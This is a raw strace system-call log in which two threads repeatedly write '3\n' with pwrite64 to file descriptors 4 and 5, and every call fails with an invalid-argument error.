[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
